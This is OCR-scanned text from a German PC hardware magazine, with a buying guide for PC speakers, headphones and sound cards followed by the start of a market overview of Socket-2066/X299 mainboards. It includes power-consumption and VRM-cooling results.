oder Audiotechnikers im Soundstudio torpedieren. Natürlich besitzen auch Studio- 
lautsprecher einen individuellen Sound, haben klangliche Stärken und Schwächen 
und unterscheiden sich untereinander. Generell ist der Klang der kleinen, häufig 
separat verkauften und jeweils mit einem eigenen Aktivmodul betriebenen 
Lautsprecher aber sehr sauber, detailliert und ausgewogen. Nahfelder eignen sich 
weiterhin sehr gut für den Einsatz am heimischen Spiele-PC. 


Dies gilt auch für die hier vorgestellten M-Audio BX5 D3, deren Vorgänger wir in 
der letzen Ausgabe (08/2017) getestet haben und die sich einen Preis-Leistungsa- 
ward verdienen konnten. Die Nachfolger wurden im Detail verbessert, kosten mit 
rund 220 Euro (Paarpreis) kaum mehr und sind mindestens ebenso empfehlens- 
wert. Allerdings gibt es bei dieser Art Lautsprecher eine eventuelle Komplikation 
zu beachten: Studiolautsprecher verfügen im Regelfall nur über professionelle 
XLR- und 6,3-mm-TRS-Klinkenanschlüsse. Haben Sie keine passenden Anschluss- 
möglichkeiten 

(z. B. Audio- 

interface oder 

High-End-Sound- 

karte), müssen Sie 

Hardware und/ 

oder Adapter 

zukaufen. 
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autsprecher sollten Sie ein we- 
L anders bewerten als ein 
Headset oder Kopfhorer: Mehr 
noch als bei Letzteren ist die Quali- 
tät der Boxen hauptverantwortlich 
für den Sound; Soundkarte oder 
Onboard-Audio spielen eine gerin- 
gere Rolle. Das liegt auch daran, 
dass Lautsprecher im Normalfall 
teurer ausfallen, als ein qualitativ 
ähnlich guter Kopfhörer. Oder an- 
dersherum: Ein Kopfhörer für 150 
Euro klinkt aller Wahrscheinlich- 
keit ausgewogener, detaillierter 
und sauberer als ein aktiv verstärk- 
tes Boxenpaar für 150 Euro. 


Richtig kaufen 

Ordentliche Lautsprecher sind 
also vergleichsweise teuer. Billige 
Boxen sorgen außerdem häufig 
durch auffälliges 50-Hz-Brummen, 
eine mäßige Verarbeitung und 
unausgewogenen Sound für Ver- 
druß. Bei günstigen 2.1-Systemen 
ist außerdem häufig das Verhältnis 
zwischen Subwoofer und Satelliten 
unausgegohren: Während die Bass- 
box mit unflätigem Wummern Po- 
tenz und Volumen vorzutäuschen 
versucht, krächtzen die Satelliten 
mit mitleidserregend verkrampfem 
Hochton dagegen an - das Klang- 
bild ist unvollständig und verfärbt. 
Wenn Sie nur wenig Geld ausgeben 
aber dennoch ordentlichen Sound 
genießen möchten, sollten Sie da- 
her eventuell eher Lautsprecher 
ohne Subwoofer ins Auge fassen. 
Diese spielen zumeist sauberer, las- 
sen allerdings im Gegenzug häufig 
den Punch eines Subwoofers ver- 
missen. 


Deutlich weniger als 50 Euro soll- 
ten Sie jedoch generell nicht veran- 
schlagen, wollen Sie mehr als ein 
Paar für nur rudimentärste Audio- 
anwendungen geeignete Lautspre- 
cher. Wir raten gar zu einer Inves- 
tition von rund 100 Euro, denn in 
dieser Preisklasse ist wirklich jeder 
zusätzliche Euro hörbar. Ist dieser 
Betrag für Sie zu hoch, es gibt mit 
dem Logitech Z333 ein brauchba- 
res 2.1-System unter 50 Euro, Crea- 
tive bietet mit den Inspire T10 für 
rund 40 Euro ein Paar ordentliche 
Desktop-Lautsprecher, ein über- 
zeugendes Preis-Leistungsschnäpp- 
chen lässt sich mit den Genius 


SP-HF1250B Stereo-Lautsprechern 
ergattern. Doch sollten Sie von 
Lautsprechern aus dieser Preisklas- 
se nicht zu viel erwarten. 


Ab ca. 100 Euro gibt es eine deut- 
lich größere und hochqualitati- 
vere Auswahl. Dabei teilt sich das 
Angebot auch bei Lautsprechern 
in für PC-Spieler konzipierte Sys- 
teme und eher für multimediale 
oder (semi-)professionelle Zwe- 
cke ausgelegte Lautsprecher. Dies 
wiederum ist in gewisser Weise 
vergleichbar mit Headsets und 
Kopfhörern: Zum einen sind vor 
allem die 2.1-PC-Systeme häufig 
klanglich stark „Gaming-orien- 
tiert“, sprich: Die Abstimmung ist 
alles andere als ausgewogen, der 
Sound wird durch aufgepeitschte 
Höhen, schwache Mitten und mas- 
siv betonte, unpräzise Bässe in Mit- 
leidenschaft gezogen. Das bessert 
sich auch in höheren Preisklassen 
nur begrenzt, zumeist wächst mit 
dem Preis vor allem die Leistung, 
qualitativ bekommt man anders- 
wo Besseres, allerdings kaum zu 
einem günstigen Preis. Dies gilt 
nochmals in verstärkter Form für 
5.1-Surround-Systeme, die wir hier 
nur kurz anschneiden wollen. Ein 
sauber klingendes Surround-Setup 
mit zumindest fünf Satelliten, ei- 
nem zusätzlichen Subwoofer und 
entsprechenden Verstärkern sowie 
dem zusätzlichen Materialaufwand 
für die Gehäuse gibt es ganz ein- 
fach nicht für kleines Geld. 


Wenn Sie dagegen eher Qualität 
als Krach für Ihr Geld bekommen 
wollen, gibt es abseits den PC-Sys- 
temen reichlich Alternativen. Ins- 
besondere im Multimedia-Bereich 
lassen sich einige Preis-Leistungs- 
schnäppchen machen. Hersteller 
wie M-Audio, Mackie oder Behrin- 
ger haben einige empfehlenswerte 
Stereo-Lautsprecher um 100 Euro 
im Angebot, die vielen eher unaus- 
gewogenen 2.1-Systemen in dieser 
Preisklasse um Längen überlegen 
sind. Wenn Sie etwas mehr Geld in 
die Hand nehmen, können Sie sich 
auch im Segment der Studiolaut- 
sprecher umsehen. Diese bieten 
zumeist ein sehr überzeugendes 
Preis-Leistungsverhältnis (siehe 
Kasten rechts). 
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Kaufberatung Sound | INFRASTRUKTUR - 


Einsteiger 


Onboard / Creative Sound Blaster X G1 


Bestenfalls benótigen Sie für die Einstiegsklasse gar keine Soundkarte, sondern 


kónnen auf einen guten Onboard-Sound zurückgreifen. 


Die meisten aktuellen Mainboards verfügen über eine akzeptablen Onboard-Lósung - selbst 
bei Einsteiger-Hauptplatinen ist der Sound im Normalfall gut genug, um günstige Lautsprecher 
oder ein Headset zu befeuern. Doch leider ist dies nicht pauschal gegeben, praktisch jedes 
Mainboard unterscheidet sich in Sachen Audio vom nächsten. Zudem treten bei einigen Exem- 
plaren Stórungen auf. Eine Lósung für solche Probleme ist dedizierte USB-Sound-Hardware. 


Aktuell besteht unter 50 Euro nur wenig Auswahl. Brauchbare USB-Mini-Soundkarten gibt es 
ab rund 10 Euro, allerdings sind diese kaum besser als schlechter Onboard-Sound. Creatives 
winzige USB-Soundkarte Sound Blaster X G1 wäre indes eine Empfehlung. Die G1 klingt or- 
dentlich, verfügt über einen 300-Ohm-Kopfhörerverstärker, eine recht umfangreiche Software, 
unterstützt 7.1-Surround und kann mittels Vierpol-Klinke sowohl Sound-Ausgabe als auch 
Mikrofonaufnahme verbessern. Stereo-Lautsprecher kónnen ebenfalls angeschlossen werden. 


Lioncast LX 50 / Superlux HD681 


M-Audio AV32 / Edifier C2X 


Mit dem Lioncast LX50 und Superlux HD681 gibt es sehr 
viel Sound für wenig Geld. 


Das LX50 wirkt deutlich hochwertiger als der geringe Preis es 
suggeriert: Das hübsche, funktionale Design, der hohe Komfort 
sowie die angenehmen Materialien überzeugen. Gleiches gilt für 
den ausgewogenen, erstaunlich detaillierten Sound. Und auch 
das Mikrofon ist der Konkurrenz oft überlegen. Praktisch sind 
außerdem die Velour-Polster zum Wechseln. 


Der Superlux HD681 kostet weniger als 20 Euro, bietet guten 
Klang und muss sich nicht hinter teureren Headsets verstecken. 
Somit ist er unser Tipp für echte Sparfüchse. Trotzdem ist der 
angenehm leichte, doch nicht übermäßig komfortable HD681 
keine Wunderwaffe — ein gutes (teureres) Mittelklasse-Headset 
klingt besser, sitzt bequemer und bietet ein Mikrofon. 


Bei Lautsprechern sollte man nicht allzu sehr knausern. 
Erst um 100 Euro gibt es wirklich Empfehleswertes. 


Für knapp unter 100 Euro bietet M-Audio mit den AV32 rundum 
überzeugende Nahfeld-Multimedia-Lautsprecher an. Die kleinen 
Boxen klingen recht ausgewogen und luftig, sind allerdings keine 
Basswunder und lassen auBerdem ein wenig Details vermissen. 

Für den Preis ist die Klangqualität jedoch überzeugend. 


Das Edifier C2X eins der wenigen empfehlenswerten 2.1-Systeme 
um 100 Euro und ist als C2XD auch mit Digitalverstárker erháltlich 
— praktisch, wenn der Onboard-Sound schwach ausfällt. Der Klang 
ist angenehm und gefällt mit kräftigem Bass und einem relativ 

ausgewogenen, luftigen Klangbild. Allzu hohe Präzision und Auflö- 


sung darf man aber nicht erwarten. 
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o INFRASTRUKTUR | Kaufberatung Sound 


Mittelklasse 


Asus Xonar U7 Mk2 /FiiO Olympus 2 E10K 


Soundkarte mit vielen Features und gutem Klang oder 
asketischer DAC mit noch besserem Sound? 


E | Asus bietet mit der U7 Mk2 eine Neuauflage der empfeh- 
seg ' lenswerten externen Soundkarte an. Sie bietet eine gute 
SS mg Soundqualitàt und eine ordentliche Verstärkung für Hórer und 
Š Mikrofon, sowie praktische Bedienelemente und eine umfang- 
! reiche Software samt virtueller 7.1-Surround-Abmischung. 

3 Der FiiO Olympus 2 E10K ist ein echter Preis-Leistungskracher 
und bietet sowohl eine tolle Soundqualität, die sich nicht 
hinter teureren Geráten und Soundkarten verstecken muss, 
als auch eine sehr ordentliche Verstärkung für Kopfhörer. Der 
kleine, ansehnliche DAC bietet zudem eine wählbare Vorver- 
stárkung, einen coaxialen Digitalausgang sowie einen Line-Out 


und ein praktisches Lautstárke-Rad sowie einen Bass-Boost. 


Creative Sound Blaster Z / Asus Strix Soar 


Sowohl Creative als auch Asus bieten in der Mittel- 


klasse zufriedenstellende Soundkarten an. 


Die Soundkarten-Mittelklasse lässt bei Audio-Fans ein wenig 
zu wünschen übrig: Die Asus Strix Soar klingt sehr klar und 
sauber, bleibt aber bei der Verstárkerleistung ein wenig 
zurück und ist nur begrenzt für anspruchsvolle Kopfhörer 
geeignet. Doch ist den meisten Onboard-Lósungen deutlich 
überlegen und bietet eine umfangreiche Software. 


Mit letzterem kann auch der Sound Blaster Z dienen, der 
zudem als abgespeckte Bulk-Variante bereits für 60 Euro 
erhältlich ist und über eine etwas potentere Verstärkung für 
Kopfhörer verfügt. Im Gegenzug wirkt der Klang dumpfer und 


weniger detailliert als beim Asus-Gegenstück. 


Sennheiser GSP 350 / Creatice Sound Blaster X H5 Tournament Edition 


Ausgewogenes USB-Headset oder gutes und günstiges 


Klinkenheadset? 
Das Sennheiser GSP 350 bietet prinzipiell alles, was man sich 
als Spieler wünsche würde: Der Sound ist kräftig und dennoch 
hochauflösend, der Komfort ist dank angenehmer Polsterung und 
geringem Gewicht hoch, das Mikrofon gehört zu den Besten in 
\ ; der Preisklasse. Die Bedienung ist intuitiv und an der Kabelfern- 
N ` bedienung lässt sich auf Wunsch virtueller Surround zuschalten. 
Das Creative-Headset ist aktuell für nur wenig Geld erhältlich, 
=. die UVP liegt im Normalfall doppelt so hoch. Das Klinkenheadset 


ist angenehm leicht, dabei aber sehr flexibel und stabil gefertigt. 
Der Sound ist sehr ausgewogen und beinahe analytisch-klar und 
gefällt durch eine hohe Auflösung und Genauigkeit. 
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Mittelklasse 


Beyerdynamic DT 990 Pro / AKG K612 Pro 


Ab knapp über 100 Euro wird es im Kopfhörer-Segment 
wirklich interessant. Hier sind zwei echte Alleskönner. 


Der Beyerdynamic DT 990 Pro ist aktuell sehr günstig zu bekom- 
men. Der Sound des offen gestalteten Hörers ist eher auf Unter- 
haltung denn sklavische Wiedergabetreue ausgelegt und gefällt 
durch einen kräftigen Bass, spritzige Höhen und ein generell 

warmes, offenes und detalliertes Klangbild - ein tolles Angebot! 


Das ist allerdings auch der AKG K612 Pro, der nochmals deutlich 
offener spielt, als der schon luftige DT 990. Zudem klingt der Hö- 


to 


1 Mun h, 
— 


7 


rer sehr klar und detailliert, dazu bietet er einen ausgesprochen 


aif 
| 


| 


luftigen Sound, der Sie beim Spielen beinahe vergessen làsst, 
dass Sie einen Kopfhörer tragen. Der K612 Pro benötigt reichlich 
Verstärkerleistung, um wirklich voll zu klingen. 


V-Moda Crossfade LP2 / Teufel Cage 


Der LP2 ist ein empfehlenswerter Kopfhörer für Bass- 


freunde, das Cage ist ein erfreulich rundes Headset. 


Sie sind ein Freund von kräftigen Bässen, wollen aber auf einen 
sauberen und detaillierten Klang nicht verzichten? Der Crossfade 
LP2 von V-Moda gehört zu den empfehlenswertesten Hörern für 
Bassheads - trotz der Bassbetonung wird der restliche Sound nur 
sehr begrenzt beeinträchtigt, der schicke und zierliche Hörer ist 
zudem sehr bequem und wirkt ausgesprochen hochwertig. 


Mit einer hochwertige Anmutung kann auch das Teufel Cage 
punkten. Verarbeitung und Materialien sind auch für den relativ 
hohen Preis sehr ansprechend und auch die inneren Werte 


überzeugen: Der Sound ist ausgewogen und recht detailliert, die 


Software des USB-Headsets (Klinke optional) ist umfangreich. 


Mackie liefert mit den CR4 einen Geheimtipp, Teufel 
mit den Concept C ein dickes 2.1-System. 


Für knapp 140 Euro gibt es bei Mackie die auffällig 
gestalteten und angenehm zierlichen CR4 zu erstehen. Die 
Multimedia-Lautsprecher haben einen vollen, ausgewogenen 
Sound mit einem kráftigen, satten Bass und klaren Hóhen. 
Eine Bluetooth-Variante ist ebenfalls erháltlich. 


Auch das Concept C Digital verfügt über Bluetooth, dank 
AptX-Codec obendrein in hoher Qualität. Das 2.1-System 
ist bestens für den Einsatz am PC geeignet: Die Satelliten 


lassen sich gut platzieren, die Puck-Fernbedienung rangiert 
zwischen verspielt und praktisch. Der Bass des Concept C ist 


ausgesprochen kräftig, die Satelliten spielen aber gut mit. 
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Aufsteiger- und Oberklasse 


Asus Xonar STX II / Creative Sound Blaster ZxR 


Bei den High-End-Soundkarten tut sich wenig, weder 
gibt es Neuigkeiten noch günstige Preise. 


Asus hat mit der Strix Raid DLX eine attraktive High-End-Karte im 
Angebot, allerdings mit starkem Gaming-Fokus. Für Stereo-Fans 
ist die sehr hochauflósende und extrem leistungsfáhige Karte die 
bessere Wahl. Die Feature-Seite fällt dabei eher schwach aus, 
Software wie Audio-Chip sind mittlerweile überholt. 


Auch Creative bringt mit der AE-5 eine neue Soundkarte auf den 
Markt. Doch diese ist offensichtlich stark auf ,, Gamer" ausgelegt, 
verzichtet auf die nützlichen 6,3-mm-Klinkenstecker für (Studio-) 
Lautsprecher und kommt dafür mit RGB-Beleuchtung. Dabei 
bietet schon die ZxR sehr gute Features — sowohl für Spieler als 
auch sonstige Audiofans. Der Sound ist zudem ausgezeichnet. 


Philips Fidelio X2 / AKG K712 Pro 


Sowohl Fidelio X2 als auch K712 Pro sind erstklassige 


Kopfhörer zu einem fairen Preis. 


Philips Fidelio X2 ist einer der komfortabelsten Kopfhörer, die wir 
je getestet haben. Der X2 ist wirkt zudem hochwertig und erfreut 
die Ohren mit einem sehr detaillierten, luftigen und dennoch 
warmen Klang und kráftigem Bass — ein beinahe perfekter AII- 
round-Hörer, der sowohl beim Spielen als auch beim Hören von 
Musik einen tollen Eindruck hinterlásst. 


Der AKG K712 Pro klingt gegenüber dem X2 deutlich kühler 
und analytischer, begeistert dabei aber mit einer ausgesprochen 
weiten Bühne, einem sehr flotten Ansprechverhalten und einer 
extrem hohen Auflósung. Der K712 Pro ist wie die meisten AKGs 


eher nichts für Bassfreunde auBerdem benótigt er viel Leistung. 


Yamaha HS5 / Syrincs M3-220 


| | Gute Lautsprecher kosten viel Geld. Diese hier sind trotz 
des hoch anmutenden Preises echte Schnäppchen. 


Mit den HS5 von Yamaha bekommen Sie einen wirklich überzeu- 
genden Gegenwert für Ihr Geld, zumal die Studiolautsprecher 
im Normalfall 250 Euro (Stückpreis) kosten. Der Sound ist erfri- 
schend lebendig, klar und hochauflösend, einzig der Bass ist ein 
wenig zurückhaltend. Achtung: Die HS5 verfügen nur über XLR- 
und TRS-Anschlüsse, keine für den PC typischen Verbindungen. 


Wie gut ein ausgewogenes 2.1-System klingen kann, beweist 
das Syrincs M3-220. Gegenüber vielen PC-Systemen (auch zum 
ähnlichen Preis) fällt die Präzision deutlich höher aus, der Bass 
ist knackig-kräftig, die Satelliten spielen detailliert, frei und sehr 
ausdrucksstark und halten mit dem Subwoofer sehr gut Schritt. 
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Wenn Sie das Optimum aus möglichst wenig Geld und möglichst viel Soundqualitàt 
ausschöpfen möchten, sollten Sie sich mit DIY-Lautsprechern beschäftigen. 


Es gibt reichlich gute Angebote im Audiobereich. Ein praktisch unschlagbares Preis-Leistungsver- 
hältnis bieten Do-it-Yourself-Lautsprecher. Eine Vielzahl unterschiedlichster Bausätze für beinahe 
jeden Geschmack und Anspruch gibt es unter anderem bei www.lautsprechershop.de. Die Bau- 
sätze bestehen aus Anleitung, Treibern sowie in den meisten Fällen zusätzlicher Elektronik für die 
Frequenzweichen. Das restliche Material kann für ein paar Euro im Baumarkt zugekauft werden 
(MDF). Für den Zusammenbau benötigen Sie des Weiteren eine rudimentäre Werkzeugausstat- 
tung, bestehend aus mindestens: Bohrmaschine, Stichsäge, Feile, Holzleim, Schraubendreher und 
Lötkolben. Kleine Regalboxen lassen sich ohne viel handwerkliches Geschick an einem Wochen- 
ende zusammenbauen. In der PCGH-Ausgabe 11/2013 können Sie dies einmal nachvollziehen: 
Die Lautsprecher rechts haben wir für etwa 350 Euro inklusive Material innerhalb von zwei Tagen 
zusammengebaut. Nicht einmal eine Werkstatt ist vonnöten — wohl aber ein Verstärker: Der unten 
abgebildete SMSL SA-36A Pro für rund 50 Euro reicht im Grunde aus. 
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Sockel-2066-Platinen 


Die hohen Erwartungen konnte Skylake X nicht vollstàndig erfüllen, trotzdem ist der Core i9-7900X 
die aktuell beste CPU am Markt. Welcher Unterbau wird dem gerecht? 


erglichen mit der Verbreitung 

des Vorgängers Sockel 2011 
war Intels Sockel-2011-v3-Plattform 
mit Haswell- und Broadwell-E ein 
voller Erfolg. Selbst als Sockel- 
1151-Mainboards mit moderneren 
PCHs den CPU-Ausstattungsvorteil 
der alten Enthusiast-Plattform ne- 
gierten, griffen noch erstaunlich 
viele PCGH-Leser zu Intels Luxus- 
Prozessoren - erst AMDs günstiger 
Ryzen brach die Erfolgsgeschichte. 


Aber Intel war nicht untätig und 
schürte hohe Erwartungen an den 
Nachfolger Sockel 2066. Die zu- 
gehörigen Skylake-X-Prozessoren 
werden dem nur bedingt gerecht 
und verlagern zwar die 10-Kern- 
Einstiegshürde in die 1.000-Euro- 
Preisklasse (siehe Special in der 
PCGH 08/2017). Sowohl bei der Ab- 
solutleistung als auch der Effizienz 
hatte man sich aber größere Fort- 
schritte gegenüber den ein Jahr 
alten Vorgängern erhofft - und vor 
allem keine Rückschritte, wie sie 
stellenweise zu beklagen sind. 


Den Erwartungen gerecht wird hin- 
gegen Kaby Lake X, die ausschließ- 
lich als Vierkerner erhältliche 
zweite Sockel-2066-CPU-Baureihe. 
Zwar hat bis heute niemand einen 
sinnvollen Anwendungszweck für 
diese zu den Sockel-1151-Kaby- 
Lake-Modellen technisch identi- 
schen Prozessoren gefunden. Dies 
war aber absehbar, sodass Enttàu- 
schungen ausbleiben. Dass wir die 
wenig attraktiven Core i7-7740X 
und i5-7640X dennoch erwäh- 
nen, hat einen einfachen Grund: 
Die Ausstattung beider CPUs un- 
terscheidet sich deutlich von den 
Skylake-X-Modellen und fordert 
den Mainboard-Herstellern daher 
einige Kompromisse ab. So verfügt 
Skylake X immer über ein Quad- 
Channel-DDR4-Speicher-Interface, 
Kaby Lake X beherrscht dagegen 
nur Dual-Channel-Betrieb. Außer- 
dem stehen nur 16 PCI-Express-3.0- 
Lanes zur Verfügung, während Sky- 
lake X über 28 (Core-i7-Modelle) 
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oder 44 (Core i9, ab 10 Kernen auf- 
wärts) davon verfügt. 


Testobjekte & -methoden 
Eine weitere Sockel-2066-Eigenart 
neben der komplexen CPU-Situati- 
on ist der frühe Start der Plattform. 
Mehren Quellen zufolge hat Intel 
diesen als Reaktion auf AMDs Ry- 
zen aus dem Herbst 2017 auf den 
Juni vorgezogen. Die Folgen äh- 
neln denen von AMDs AM4-Start, 
wenn auch in weniger ausgepräg- 
tem Maße: UEFIs lassen stellenwei- 
se den letzten Feinschliff vermis- 
sen, einzelne Spezifikationen sind 
unklar und die Verfügbarkeit bei 
vielen Herstellern eingeschränkt. 


Das hat konkrete Auswirkungen 
auf diese Marktübersicht: Bis Re- 
daktionsschluss konnten weder As- 
rock und EVGA noch Supermicro 
und Biostar Testmuster liefern. Wir 
hoffen diese Lücke in der nächsten 
Ausgabe schließen zu können - bis 
dahin liegt der Fokus auf Modellen 
von Asus, Gigabyte und MSI. Die- 
se reichten bereits aus, um klare 
Schwächen im bisherigen Main- 


Wir haben deswegen für diese und 
alle künftigen Marktübersichten 
nicht nur die Ausstattungswertung 
an die Marktentwicklungen ange- 
passt, sondern auch die Leistungs- 
tests gründlich überarbeitet: Win- 
dows 10 statt 8.1, Witcher 3 statt 
2, Geforce GTX 1080 statt 980 Ti, 
eine Samsung SSD 960 Pro für den 
M.2-Slot an Stelle einer SATA-SSD 
und eine höhere CPU-Kühler-Lüf- 
terdrehzahl, um der Hitzeentwick- 
lung von Skylake X Herr zu werden. 
Der direkte Vergleich von Noten 
und Ergebnissen mit älteren Tests 
ist daher nur noch bedingt mög- 
lich; weitere Details zu den Neue- 
rungen finden Sie auf Seite 85. 


Kühlung: Kritik im Vorfeld 

Zum LGA-2066-Launch gab es 
nicht nur an den Skylake-X-CPUs 
Kritik, auch die Mainboardherstel- 
ler sahen sich schweren und welt- 
weit beachteten Vorwürfen durch 
PCGHX-Mitglied und Extrem-Über- 
takter Roman ,der8auer* Hartung 
ausgesetzt: Bei allen von ihm aus- 
probierten X299-Modellen führte 
bereits leichte Übertaktung zu be- 


Stromverbrauch: Eine Frage der Einstellungen 


Rechner aus: Soft-off inklusive 80-Plus-Gold-Netzteil 


Asus TUF X299 Mark 2 | 1,6 (-36 %) 
Asus Strix X299-E Gaming aaa 2,5 (Basis) 
MSI X299 Gaming Pro Carbon АС =a 3,1 (+24 %) 
Gigabyte X299 Gaming 3 = 3,5 (+40 %) 
Leerlauf: Windows-10-Desktop inklusive 80-Plus-Gold-Netzteil 


Asus TUF X299 Mark 2 E 48,1 (Basis) 
Asus Strix X299-E Gaming a =i 52,5 (+9 90) 
MSI X299 Gaming Pro Carbon AC = 60,1 (+25 96) 
Gigabyte X299 Gaming 3 === 5,1 (+35 %) 
Volllast: Witcher 3 + Prime 95 (14 Threads) inklusive 80-Plus-Gold-Netzteil 


Asus Strix X299-E Gaming [EX 386 (Basis) 
Asus TUF X299 Mark 2 E 304 (+2 %) 
Gigabyte X299 Gaming 3 = 449 (+16 %) 
MSI X299 Gaming Pro Carbon АС Eu 469 (+22 96) 


System: Core i9-7900X, Asus Strix GTX 1080 110% Power-, 91°C Temp.-Target; 4x 4 
GiB DDR4-2666 Bemerkungen: Asus arbeitet in allen Szenarien am sparsamsten; MSI 
und Gigabyte erlauben der CPU einen hóheren AVX-Takt und somit Last-Verbrauch. 


Watt 
< Besser 


board-Testparcours aufzuzeigen. sorgniserregenden Temperaturen 


Asus Strix X299-E Gaming 


an Spannungswandlern und sogar 
am CPU-Stromanschluss. Die letzte 
Aussage wurde später revidiert - 
bei einem zweiten Netzteil war die 
Erwärmung des 8-Pin-Anschlusses 
zwar ebenfalls messbar, aber un- 
problematisch. PCGH kann das für 
den Normalbetrieb bestätigen: Ob- 
wohl auch in unserem Lasttest bis 


zu 21 Ampere zum Prozessor stró- 
men, messen wir am freiliegenden, 
unbelüfteten CPU-Versorgungska- 
bel maximal 35 °C. Auch der unter 
zahlreichen anderen Leitungen 
begrabene Stecker an unserem 
Seasonic-Netzteil überschreitet die 
45 °C nicht. In einem durchschnitt- 
lich belüfteten Gehäuse ist ein ein- 


Im Jahrgang 2017 hat Asus die Einstiegsschwelle für die alte Gamer-Reihe R.O.G. in höhere Preisregionen verlagert, die Oberklasse-Modelle gehören jetzt 
zur ,Strix"-Serie. Das X299-E Gaming hebt sich vor allem mit der besten Spannungswandlerkühlung vom restlichen Testfeld ab und bietet Onboad-WLAN, 
ein Teil der guten Leistungsnote geht aber auch auf die sinnvolle Begrenzung der Skylake-X-Leistungsaufnahme in Serienkonfiguration zurück. 


Reine Dekoration 

Die matte Oberfläche des 30 mm hohen, 
mit einem verspiegelten und beleuchteten 
Plexiglaslogo versehenen Elements 52 
mm unterhalb der Sockelmitte soll an 
Aluminiumkühler erinnern. Tatsächlich 
handelt es sich aber um Plastik; ein Kon- 
takt zu Wärmequellen besteht nicht. 


Verstecke Kühlrippen 

Von oben sieht der Spannungswand- 
lerkühler des Strix X299-E nach einem 
weiteren glatten, leistungsschwachen 
Designerstück aus. Die dem CPU-Kühler 
zugewandte Seite weist aber wirkungs- 
volle Oberflächenvergrößerungen auf und 
nutzt den Luftstrom effektiv. 


Vier PCI-Express-3.0-Lanes ungenutzt, fünf geteilt 
Trotz reichhaltiger PCI-E-Ausstattung der Sockel-2066-Plattform muss der mechanische 


und -28-Lane-CPUs nur 40 respektive 24 Datenleitungen genutzt. 


Slot klaut seine Ressourcen bei vier SATA-Anschlüssen. Umgekehrt werden von Skylake- 


PCI-E-x1 sich mit dem Front-USB-3. 1-Header um eine Lane streiten und der elektrische x4- 


X-44- 
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CPU-Stromanschluss also 
ausreichend für alltagstaugliche 
Übertaktung, der 8-Pin-Stecker als 
solcher ist immerhin für mindes- 
tens 400 W spezifiziert (bessere 
Ausführungen bis über 600 W). 
Übertakter sollten in dieser Leis- 
tungsklasse aber noch mehr als 
sonst üblich auf ein hochwertiges 
Netzteil achten. Bei billigen Exemp- 
laren könnten die Kabel selbst eine 
Schwachstelle bilden. 


zelner 


Kritischer sind die stark belaste- 
ten Spannungswandler auf den 
Mainboards: Skylake X verfügt über 
mächtige AVX-Einheiten, die erst- 
mals im Desktop-Betrieb auch das 
neue AVX512-Format beherrschen. 
Zwar setzen Anwendungen es bis- 
lang nicht und auch AVX 1/2 nur 
für bestimmte Operationen ein, 
speziell optimierte Belastungstests, 
beispielsweise die aktuelle Prime- 
95-Version, können aber eine extre- 
me Leistungsaufnahme erzeugen. 
Der steht zwar eine ebenso hohe 
AVX-Rechenleistung gegenüber 
(Faktor 4 bis 5 im Vergleich mit 
AMD Ryzen!), ohne eine sehr gute 
Belüftung Kann es bei über 300 W 


Leistungsaufnahme ohne Übertak- 
tung (!) aber schnell zu Tempera- 
turproblemen kommen. 


Kühlung & CPU: Im Test 

Der neue PCGH-Benchmark-Par- 
cours nutzt ein ebenfalls fordern- 
des, etwas praxisnäheres Szenario. 
Bis zu 470 W Systemverbrauch (in- 
klusive Grafikkarte) respektive bis 
zu 21 Ampere Leistungsaufnahme 
(252 Watt) am CPU-8-Pin-Stecker 
sind deutlich mehr als in bishe- 
rigen Mainboardtests und auch 
mehr, als man von einer mit 140 W 
TDP spezifizierten, nicht übertak- 
teten CPU erwarten würde. Die er- 
höhte AVX-Leistungsaufnahme ist 
hierbei keine Überraschung, auch 
bei älteten CPUs hat Intel zum Teil 
niedrigere AVX-Multiplikatoren de- 
finiert, um die Leistungsaufnahme 
zu zügeln. PCGH-Anfragen nach 
den Skylake-X-Taktraten beantwor- 
tete Intel aber nur mit der wenig 
hilfreichen Aussage, dass Skylake X 
„AVX 512 unterstützt“. 


Auch die Mainboardhersteller sind 
über das korrekte Vorgehen un- 
einig und spalten das Testfeld in 


zwei Lager: Asus’ Strix X299-E und 
TUF X299 halten sich streng an die 
140-W-Angabe. Sobald eine CPU- 
Leistungsaufnahme von über 139 
Watt registriert wird, sinkt der CPU- 
Takt auf letzlich 3,3 bis 3,6 GHz. 
Aushebeln lässt sich dieses Verhal- 
ten nur durch manuelles Übertak- 
ten. MSIs X299 Pro Gaming und 
Gigabytes X299 Gaming 3 erlauben 
dagegen eine praktisch unbegrenz- 
te Leistungsaufnahme, um den spe- 
zifizierten 4,0 GHz-Allcore-Turbo 
unter allen Umständen zu halten. 
Mit Default-Einstellungen ist sogar 
der Single-Core-Turbo-Takt von 4,4 
GHz auf allen Kernen bei voller 
AVX-Last möglich. 


Dieses uneinheitliche Boost-Ver- 
halten führt natürlich zu erhebli- 
chen Unterschieden bei den Span- 
nungswandlertemperaturen. Mit 
56 respektive 65°C liegen die Asus- 
Mainboards deutlich vor MSI (71 
°C) und Gigabyte (74 °C) - weil sie 
weniger zu kühlen haben. Taktet 
man den Prozessor bei Asus hinge- 
gen manuell auf die MSI-Vorgaben 
(eine Nachstellung des Asus-Verhal- 
tens auf anderen Mainboards ge- 


MSI X299 Gaming Pro Carbon AC 


Die Pro-Carbon-Modelle nehmen eine Schlüsselposition im MSI Portfolio zwischen den durchnummerierten, meist teuren , Gaming"-Spitzenmodellen und 
den oft auf Einsteigerlayouts basierenden Budgetmodellen ein. Typische Merkmale sind die bei der jeweiligen Plattform maximal nativ mögliche Ausstat- 
tung, aber abseits von USB 3.1 keine aufpreispflichtigen Zusatzcontroller, und optische Designfeatures, die Spieler ansprechen sollen., 


Mehr Zierde denn Kühler 
MSI platzierten einen kleinen Alublock 
auf den MOSFETs und darauf, mittels 


gróBeres, flaches Element, das Beleuch- 


reichend für 240 W Leistungsaufnahme. 


Wärmeleitpaste thermisch verbunden, ein 


tung und Zierblende trágt. Wider Erwarten 
ist die Kühlleistung der Konstruktion aus- 


Farbdesign nach Wunsch 
Die optische Kompatibilität des Main- 


Casemodder ein Problem. MSI lóst es, 


sind — mitgeliefert werden die Farben 


boards zur Geháusefarbwahl ist für viele 


indem alle vier Zierblenden austauschbar 


Gold, Silber und Schwarz. Die beiden letz- 
ten dominieren auch den Rest der Platine. 


Skylake-X- und X299-PCI-Express-3.0 voll ausgenutzt 
Während MSI alle vier metallverstárkten mechanischen x 16-Slots von der CPU versorgen 
lásst und so selbst 44-Laner voll ausreizt, ist der PCH für beide M.2-Slots (jetzt mit dickeren 
und auch für 110-mm-SSDs geeigneten Wärmeleitblechen) und den U.2 zuständig. Letzterer 
